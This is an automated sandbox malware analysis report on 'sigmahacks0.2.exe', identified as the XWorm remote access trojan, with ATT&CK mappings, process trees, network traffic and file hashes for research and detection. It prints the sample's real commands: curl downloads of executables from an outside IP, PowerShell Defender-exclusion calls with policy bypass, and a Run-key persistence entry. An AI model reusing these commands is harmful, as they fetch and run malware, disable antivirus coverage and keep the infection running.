Malware Analysis Report

2024-09-11 15:12

Sample ID 240609-rp23aacb57
Target sigmahacks0.2.exe
SHA256 68f7a4ce68d84bdde71cb6543d90e5e0e08602db22f9b6388d31876c601fac31
Tags
xworm execution persistence rat trojan
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK Matrix

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

68f7a4ce68d84bdde71cb6543d90e5e0e08602db22f9b6388d31876c601fac31

Threat Level: Known bad

The file sigmahacks0.2.exe was found to be: Known bad.

Malicious Activity Summary

xworm execution persistence rat trojan

Detect Xworm Payload

Xworm

Command and Scripting Interpreter: PowerShell

Downloads MZ/PE file

Executes dropped EXE

Loads dropped DLL

Checks computer location settings

Looks up external IP address via web service

Adds Run key to start application

Legitimate hosting services abused for malware hosting/C2

Enumerates physical storage devices

Unsigned PE

Suspicious use of SetWindowsHookEx

Suspicious use of WriteProcessMemory

Suspicious behavior: EnumeratesProcesses

Suspicious use of AdjustPrivilegeToken

MITRE ATT&CK Matrix V13

Initial Access
TA0001
Execution
TA0002
Command and Scripting Interpreter
T1059
PowerShell
T1059.001
Persistence
TA0003
Boot or Logon Autostart Execution
T1547
Registry Run Keys / Startup Folder
T1547.001
Privilege Escalation
TA0004
Boot or Logon Autostart Execution
T1547
Registry Run Keys / Startup Folder
T1547.001
Defense Evasion
TA0005
Modify Registry
T1112
Credential Access
TA0006
Discovery
TA0007
Query Registry
T1012
System Information Discovery
T1082
Lateral Movement
TA0008
Collection
TA0009
Exfiltration
TA0010
Command and Control
TA0011
Web Service
T1102
Impact
TA0040
Resource Development
TA0042
Reconnaissance
TA0043

Analysis: static1

Detonation Overview

Reported

2024-06-09 14:22

Signatures

Unsigned PE

Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-06-09 14:22

Reported

2024-06-09 14:26

Platform

win7-20240508-en

Max time kernel

119s

Max time network

125s

Command Line

"C:\Users\Admin\AppData\Local\Temp\sigmahacks0.2.exe"

Signatures

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2400 wrote to memory of 1232 N/A C:\Users\Admin\AppData\Local\Temp\sigmahacks0.2.exe C:\Windows\system32\cmd.exe
PID 2400 wrote to memory of 1232 N/A C:\Users\Admin\AppData\Local\Temp\sigmahacks0.2.exe C:\Windows\system32\cmd.exe
PID 2400 wrote to memory of 1232 N/A C:\Users\Admin\AppData\Local\Temp\sigmahacks0.2.exe C:\Windows\system32\cmd.exe
PID 2400 wrote to memory of 1232 N/A C:\Users\Admin\AppData\Local\Temp\sigmahacks0.2.exe C:\Windows\system32\cmd.exe
PID 1232 wrote to memory of 2896 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\dllhost.exe
PID 1232 wrote to memory of 2896 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\dllhost.exe
PID 1232 wrote to memory of 2896 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\dllhost.exe

Processes

C:\Users\Admin\AppData\Local\Temp\sigmahacks0.2.exe

"C:\Users\Admin\AppData\Local\Temp\sigmahacks0.2.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\280A.tmp\280B.tmp\280C.bat C:\Users\Admin\AppData\Local\Temp\sigmahacks0.2.exe"

C:\Windows\system32\dllhost.exe

dllhost.exe

Network

N/A

Files

C:\Users\Admin\AppData\Local\Temp\280A.tmp\280B.tmp\280C.bat

MD5 ba84b52de7e1626e2d87c18fe32130ff
SHA1 839fa2fe90972438c05f445bca7fc000d9380e60
SHA256 508966997c99a47cf96eb518e366263bf4f2a858ef1b0381ec7563a5acb52b1c
SHA512 6bce4db9398a974dbd5c7da4916b4516f59ad5131c5fbd6a9eaa569e36c370508e4ceb2e890abf242b28b1688eec118ea2eafcdf073de3e00c0f54fd9a9352fe

Analysis: behavioral2

Detonation Overview

Submitted

2024-06-09 14:22

Reported

2024-06-09 14:24

Platform

win10v2004-20240226-en

Max time kernel

27s

Max time network

31s

Command Line

"C:\Users\Admin\AppData\Local\Temp\sigmahacks0.2.exe"

Signatures

Detect Xworm Payload

Description Indicator Process Target
N/A N/A N/A N/A
N/A N/A N/A N/A

Xworm

trojan rat xworm

Command and Scripting Interpreter: PowerShell

execution
Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Downloads MZ/PE file

Checks computer location settings

Description Indicator Process Target
Key value queried \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\Control Panel\International\Geo\Nation C:\Users\Admin\AppData\Roaming\dllhost.exe N/A

Executes dropped EXE

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\dllhost.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Ryver.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_224_133624166225653996\test.exe N/A

Loads dropped DLL

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_224_133624166225653996\test.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_224_133624166225653996\test.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_224_133624166225653996\test.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_224_133624166225653996\test.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_224_133624166225653996\test.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_224_133624166225653996\test.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_224_133624166225653996\test.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_224_133624166225653996\test.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_224_133624166225653996\test.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_224_133624166225653996\test.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_224_133624166225653996\test.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_224_133624166225653996\test.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_224_133624166225653996\test.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_224_133624166225653996\test.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_224_133624166225653996\test.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_224_133624166225653996\test.exe N/A
N/A N/A C:\Users\Admin\AppData\Local\Temp\onefile_224_133624166225653996\test.exe N/A

Adds Run key to start application

persistence
Description Indicator Process Target
Set value (str) \REGISTRY\USER\S-1-5-21-3808065738-1666277613-1125846146-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Dllhost = "C:\\Users\\Admin\\AppData\\Roaming\\Dllhost.exe" C:\Users\Admin\AppData\Roaming\dllhost.exe N/A

Legitimate hosting services abused for malware hosting/C2

Description Indicator Process Target
N/A pastebin.com N/A N/A
N/A pastebin.com N/A N/A

Looks up external IP address via web service

Description Indicator Process Target
N/A ip-api.com N/A N/A

Enumerates physical storage devices

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\dllhost.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Roaming\dllhost.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\AppData\Local\Temp\onefile_224_133624166225653996\test.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Users\Admin\AppData\Roaming\dllhost.exe N/A

Suspicious use of WriteProcessMemory

Description Indicator Process Target
PID 2832 wrote to memory of 1388 N/A C:\Users\Admin\AppData\Local\Temp\sigmahacks0.2.exe C:\Windows\system32\cmd.exe
PID 2832 wrote to memory of 1388 N/A C:\Users\Admin\AppData\Local\Temp\sigmahacks0.2.exe C:\Windows\system32\cmd.exe
PID 1388 wrote to memory of 3732 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\curl.exe
PID 1388 wrote to memory of 3732 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\curl.exe
PID 1388 wrote to memory of 4540 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Roaming\dllhost.exe
PID 1388 wrote to memory of 4540 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Roaming\dllhost.exe
PID 1388 wrote to memory of 3760 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\curl.exe
PID 1388 wrote to memory of 3760 N/A C:\Windows\system32\cmd.exe C:\Windows\system32\curl.exe
PID 4540 wrote to memory of 1424 N/A C:\Users\Admin\AppData\Roaming\dllhost.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4540 wrote to memory of 1424 N/A C:\Users\Admin\AppData\Roaming\dllhost.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1388 wrote to memory of 224 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Roaming\Ryver.exe
PID 1388 wrote to memory of 224 N/A C:\Windows\system32\cmd.exe C:\Users\Admin\AppData\Roaming\Ryver.exe
PID 224 wrote to memory of 1576 N/A C:\Users\Admin\AppData\Roaming\Ryver.exe C:\Users\Admin\AppData\Local\Temp\onefile_224_133624166225653996\test.exe
PID 224 wrote to memory of 1576 N/A C:\Users\Admin\AppData\Roaming\Ryver.exe C:\Users\Admin\AppData\Local\Temp\onefile_224_133624166225653996\test.exe
PID 4540 wrote to memory of 2968 N/A C:\Users\Admin\AppData\Roaming\dllhost.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4540 wrote to memory of 2968 N/A C:\Users\Admin\AppData\Roaming\dllhost.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 1576 wrote to memory of 932 N/A C:\Users\Admin\AppData\Local\Temp\onefile_224_133624166225653996\test.exe C:\Windows\system32\cmd.exe
PID 1576 wrote to memory of 932 N/A C:\Users\Admin\AppData\Local\Temp\onefile_224_133624166225653996\test.exe C:\Windows\system32\cmd.exe
PID 4540 wrote to memory of 1876 N/A C:\Users\Admin\AppData\Roaming\dllhost.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4540 wrote to memory of 1876 N/A C:\Users\Admin\AppData\Roaming\dllhost.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4540 wrote to memory of 3344 N/A C:\Users\Admin\AppData\Roaming\dllhost.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
PID 4540 wrote to memory of 3344 N/A C:\Users\Admin\AppData\Roaming\dllhost.exe C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Processes

C:\Users\Admin\AppData\Local\Temp\sigmahacks0.2.exe

"C:\Users\Admin\AppData\Local\Temp\sigmahacks0.2.exe"

C:\Windows\system32\cmd.exe

"C:\Windows\sysnative\cmd" /c "C:\Users\Admin\AppData\Local\Temp\BAE4.tmp\BAE5.tmp\BAE6.bat C:\Users\Admin\AppData\Local\Temp\sigmahacks0.2.exe"

C:\Windows\system32\curl.exe

curl -s -o dllhost.exe "http://176.96.137.11:4000/download/wlms1.exe"

C:\Users\Admin\AppData\Roaming\dllhost.exe

dllhost.exe

C:\Windows\system32\curl.exe

curl -s -o Ryver.exe "http://176.96.137.11:4000/download/RyverV.exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\dllhost.exe'

C:\Users\Admin\AppData\Roaming\Ryver.exe

Ryver.exe

C:\Users\Admin\AppData\Local\Temp\onefile_224_133624166225653996\test.exe

Ryver.exe

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'dllhost.exe'

C:\Windows\system32\cmd.exe

C:\Windows\system32\cmd.exe /c title Incognito v1.0.0b - public

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Dllhost.exe'

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'Dllhost.exe'

Network

Country Destination Domain Proto
US 8.8.8.8:53 95.221.229.192.in-addr.arpa udp
DE 176.96.137.11:4000 176.96.137.11 tcp
DE 176.96.137.11:4000 176.96.137.11 tcp
US 8.8.8.8:53 11.137.96.176.in-addr.arpa udp
US 8.8.8.8:53 104.219.191.52.in-addr.arpa udp
US 8.8.8.8:53 ip-api.com udp
US 208.95.112.1:80 ip-api.com tcp
US 8.8.8.8:53 1.112.95.208.in-addr.arpa udp
GB 96.16.110.114:80 tcp
US 8.8.8.8:53 pastebin.com udp
US 8.8.8.8:53 68.32.126.40.in-addr.arpa udp
US 172.67.19.24:443 pastebin.com tcp
US 8.8.8.8:53 udp

Files

C:\Users\Admin\AppData\Local\Temp\BAE4.tmp\BAE5.tmp\BAE6.bat

MD5 ba84b52de7e1626e2d87c18fe32130ff
SHA1 839fa2fe90972438c05f445bca7fc000d9380e60
SHA256 508966997c99a47cf96eb518e366263bf4f2a858ef1b0381ec7563a5acb52b1c
SHA512 6bce4db9398a974dbd5c7da4916b4516f59ad5131c5fbd6a9eaa569e36c370508e4ceb2e890abf242b28b1688eec118ea2eafcdf073de3e00c0f54fd9a9352fe

C:\Users\Admin\AppData\Roaming\dllhost.exe

MD5 e46d807a18380e6a7f1d6977989a3f46
SHA1 7834bb664f67576b8b2d25f098ec46f5e279cc84
SHA256 6bea0dc4a9308dafb8ecffa2f3aa9404ffe8a4341c4ad93aab5790526534a8e5
SHA512 b9a4a954ab5968104241bfd8d6d50a0ff496eb238e194b244b789442b49fde3b67be967a26e1c4dac9608b12b1589421c3e9846afc8e51a7cb712e03ec48e9ad

memory/4540-6-0x00007FFE93EF3000-0x00007FFE93EF5000-memory.dmp

memory/4540-7-0x0000000000D30000-0x0000000000D40000-memory.dmp

memory/4540-8-0x00007FFE93EF0000-0x00007FFE949B1000-memory.dmp

C:\Users\Admin\AppData\Roaming\Ryver.exe

MD5 10bbd38c21ebf84fea97c3812d57d9c6
SHA1 293cec0d7f44151ffbf88dfe408265825f8bca9b
SHA256 83c4e5947870b7b9f06044624b420ddc9fbae6898a5c9b4420c3dbeaca508bb9
SHA512 a00ec8ed84b806c4aca8564354a6687da64b999d255df7fea4c38e6026c8a4cee665414e96d5e28904d051f4c1a6956193a96c12e52286d6d7f58f39bae8ac31

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sanssj03.nzw.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/1424-12-0x000002E4B9250000-0x000002E4B9272000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\onefile_224_133624166225653996\python311.dll

MD5 9a24c8c35e4ac4b1597124c1dcbebe0f
SHA1 f59782a4923a30118b97e01a7f8db69b92d8382a
SHA256 a0cf640e756875c25c12b4a38ba5f2772e8e512036e2ac59eb8567bf05ffbfb7
SHA512 9d9336bf1f0d3bc9ce4a636a5f4e52c5f9487f51f00614fc4a34854a315ce7ea8be328153812dbd67c45c75001818fa63317eba15a6c9a024fa9f2cab163165b

C:\Users\Admin\AppData\Local\Temp\onefile_224_133624166225653996\test.exe

MD5 5244aa93f4209963f6c63e1ef9dde0b9
SHA1 642219eec726127fe7fbe9ceb5e223dcf46fbe46
SHA256 aeca166d5d3da9e76957686ca8753e95b930d8508f825f3cc6b4bac28da6e142
SHA512 e510165f98b070ad3c202734833230779fd95585d28b0a9873afbb5022f488c85e935b7f366a92b89449b42106f4ed76997cac16994386560bd45021d368e28c

C:\Users\Admin\AppData\Local\Temp\onefile_224_133624166225653996\VCRUNTIME140.dll

MD5 f12681a472b9dd04a812e16096514974
SHA1 6fd102eb3e0b0e6eef08118d71f28702d1a9067c
SHA256 d66c3b47091ceb3f8d3cc165a43d285ae919211a0c0fcb74491ee574d8d464f8
SHA512 7d3accbf84de73fb0c5c0de812a9ed600d39cd7ed0f99527ca86a57ce63f48765a370e913e3a46ffc2ccd48ee07d823dafdd157710eef9e7cc1eb7505dc323a2

C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\win32api.pyd

MD5 1d6762b494dc9e60ca95f7238ae1fb14
SHA1 aa0397d96a0ed41b2f03352049dafe040d59ad5d
SHA256 fae5323e2119a8f678055f4244177b5806c7b6b171b1945168f685631b913664
SHA512 0b561f651161a34c37ff8d115f154c52202f573d049681f8cdd7bba2e966bb8203780c19ba824b4a693ef12ef1eeef6aeeef96eb369e4b6129f1deb6b26aaa00

C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\pywintypes311.dll

MD5 90b786dc6795d8ad0870e290349b5b52
SHA1 592c54e67cf5d2d884339e7a8d7a21e003e6482f
SHA256 89f2a5c6be1e70b3d895318fdd618506b8c0e9a63b6a1a4055dff4abdc89f18a
SHA512 c6e1dbf25d260c723a26c88ec027d40d47f5e28fc9eb2dbc72a88813a1d05c7f75616b31836b68b87df45c65eef6f3eaed2a9f9767f9e2f12c45f672c2116e72

C:\Users\Admin\AppData\Local\Temp\onefile_224_133624166225653996\vcruntime140_1.dll

MD5 75e78e4bf561031d39f86143753400ff
SHA1 324c2a99e39f8992459495182677e91656a05206
SHA256 1758085a61527b427c4380f0c976d29a8bee889f2ac480c356a3f166433bf70e
SHA512 ce4daf46bce44a89d21308c63e2de8b757a23be2630360209c4a25eb13f1f66a04fbb0a124761a33bbf34496f2f2a02b8df159b4b62f1b6241e1dbfb0e5d9756

C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\win32gui.pyd

MD5 3c81c0ceebb2b5c224a56c024021efad
SHA1 aee4ddcc136856ed2297d7dbdc781a266cf7eab9
SHA256 6085bc00a1f157c4d2cc0609e20e1e20d2572fe6498de3bec4c9c7bebcfbb629
SHA512 f2d6c06da4f56a8119a931b5895c446432152737b4a7ae95c2b91b1638e961da78833728d62e206e1d886e7c36d7bed3fa4403d0b57a017523dd831dd6b7117f

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\win32process.pyd

MD5 936b26a67e6c7788c3a5268f478e01b8
SHA1 0ee92f0a97a14fcd45865667ed02b278794b2fdf
SHA256 0459439ef3efa0e0fc2b8ca3f0245826e9bbd7e8f3266276398921a4aa899fbd
SHA512 bfe37390da24cc9422cabbbbbc7733d89f61d73ecc3765fe494b5a7bd044e4ffb629f1bb4a28437fe9ad169ae65f2338c15d689f381f9e745c44f2741388860b

C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\_ctypes.pyd

MD5 6a9ca97c039d9bbb7abf40b53c851198
SHA1 01bcbd134a76ccd4f3badb5f4056abedcff60734
SHA256 e662d2b35bb48c5f3432bde79c0d20313238af800968ba0faa6ea7e7e5ef4535
SHA512 dedf7f98afc0a94a248f12e4c4ca01b412da45b926da3f9c4cbc1d2cbb98c8899f43f5884b1bf1f0b941edaeef65612ea17438e67745962ff13761300910960d

C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\libffi-8.dll

MD5 32d36d2b0719db2b739af803c5e1c2f5
SHA1 023c4f1159a2a05420f68daf939b9ac2b04ab082
SHA256 128a583e821e52b595eb4b3dda17697d3ca456ee72945f7ecce48ededad0e93c
SHA512 a0a68cfc2f96cb1afd29db185c940e9838b6d097d2591b0a2e66830dd500e8b9538d170125a00ee8c22b8251181b73518b73de94beeedd421d3e888564a111c1

C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\_socket.pyd

MD5 8140bdc5803a4893509f0e39b67158ce
SHA1 653cc1c82ba6240b0186623724aec3287e9bc232
SHA256 39715ef8d043354f0ab15f62878530a38518fb6192bc48da6a098498e8d35769
SHA512 d0878fee92e555b15e9f01ce39cfdc3d6122b41ce00ec3a4a7f0f661619f83ec520dca41e35a1e15650fb34ad238974fe8019577c42ca460dde76e3891b0e826

C:\Users\Admin\AppData\Local\Temp\onefile_224_133624166225653996\_bz2.pyd

MD5 4101128e19134a4733028cfaafc2f3bb
SHA1 66c18b0406201c3cfbba6e239ab9ee3dbb3be07d
SHA256 5843872d5e2b08f138a71fe9ba94813afee59c8b48166d4a8eb0f606107a7e80
SHA512 4f2fc415026d7fd71c5018bc2ffdf37a5b835a417b9e5017261849e36d65375715bae148ce8f9649f9d807a63ac09d0fb270e4abae83dfa371d129953a5422ca

C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\_lzma.pyd

MD5 337b0e65a856568778e25660f77bc80a
SHA1 4d9e921feaee5fa70181eba99054ffa7b6c9bb3f
SHA256 613de58e4a9a80eff8f8bc45c350a6eaebf89f85ffd2d7e3b0b266bf0888a60a
SHA512 19e6da02d9d25ccef06c843b9f429e6b598667270631febe99a0d12fc12d5da4fb242973a8351d3bf169f60d2e17fe821ad692038c793ce69dfb66a42211398e

C:\Users\Admin\AppData\Local\Temp\ONEFIL~1\psutil\_psutil_windows.pyd

MD5 3cba71b6bc59c26518dc865241add80a
SHA1 7e9c609790b1de110328bbbcbb4cd09b7150e5bd
SHA256 e10b73d6e13a5ae2624630f3d8535c5091ef403db6a00a2798f30874938ee996
SHA512 3ef7e20e382d51d93c707be930e12781636433650d0a2c27e109ebebeba1f30ea3e7b09af985f87f67f6b9d2ac6a7a717435f94b9d1585a9eb093a83771b43f2

C:\Users\Admin\AppData\Local\Temp\onefile_224_133624166225653996\python3.dll

MD5 34e49bb1dfddf6037f0001d9aefe7d61
SHA1 a25a39dca11cdc195c9ecd49e95657a3e4fe3215
SHA256 4055d1b9e553b78c244143ab6b48151604003b39a9bf54879dee9175455c1281
SHA512 edb715654baaf499cf788bcacd5657adcf9f20b37b02671abe71bda334629344415ed3a7e95cb51164e66a7aa3ed4bf84acb05649ccd55e3f64036f3178b7856

C:\Users\Admin\AppData\Local\Temp\onefile_224_133624166225653996\select.pyd

MD5 97ee623f1217a7b4b7de5769b7b665d6
SHA1 95b918f3f4c057fb9c878c8cc5e502c0bd9e54c0
SHA256 0046eb32f873cde62cf29af02687b1dd43154e9fd10e0aa3d8353d3debb38790
SHA512 20edc7eae5c0709af5c792f04a8a633d416da5a38fc69bd0409afe40b7fb1afa526de6fe25d8543ece9ea44fd6baa04a9d316ac71212ae9638bdef768e661e0f

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 62623d22bd9e037191765d5083ce16a3
SHA1 4a07da6872672f715a4780513d95ed8ddeefd259
SHA256 95d79fd575bbd21540e378fcbc1cd00d16f51af62ce15bae7080bb72c24e2010
SHA512 9a448b7a0d867466c2ea04ab84d2a9485d5fd20ab53b2b854f491831ee3f1d781b94d2635f7b0b35cb9f2d373cd52c67570879a56a42ed66bc9db06962ed4992

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 eb033be02578f9635ec47bdc1de5c3fb
SHA1 ec356bc87381354a06baa9c30e8c3ac3d30e0f6f
SHA256 bd827af3192bf83c75a32e51ed2de83bd3b90d6b99350721a189a57cec15d063
SHA512 4d8778503646f7016df73ff9d204760f4fe4d2b24157920ac3e5651653373975b2f2d229530143059f11b16c42822ad7963e628ad6066022ee712c17d90595ed

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 e58749a7a1826f6ea62df1e2ef63a32b
SHA1 c0bca21658b8be4f37b71eec9578bfefa44f862d
SHA256 0e1f0e684adb40a5d0668df5fed007c9046137d7ae16a1f2f343b139d5f9bc93
SHA512 4cf45b2b11ab31e7f67fff286b29d50ed28cd6043091144c5c0f1348b5f5916ed7479cf985595e6f096b586ab93b4b5dce612f688049b8366a2dd91863e98b70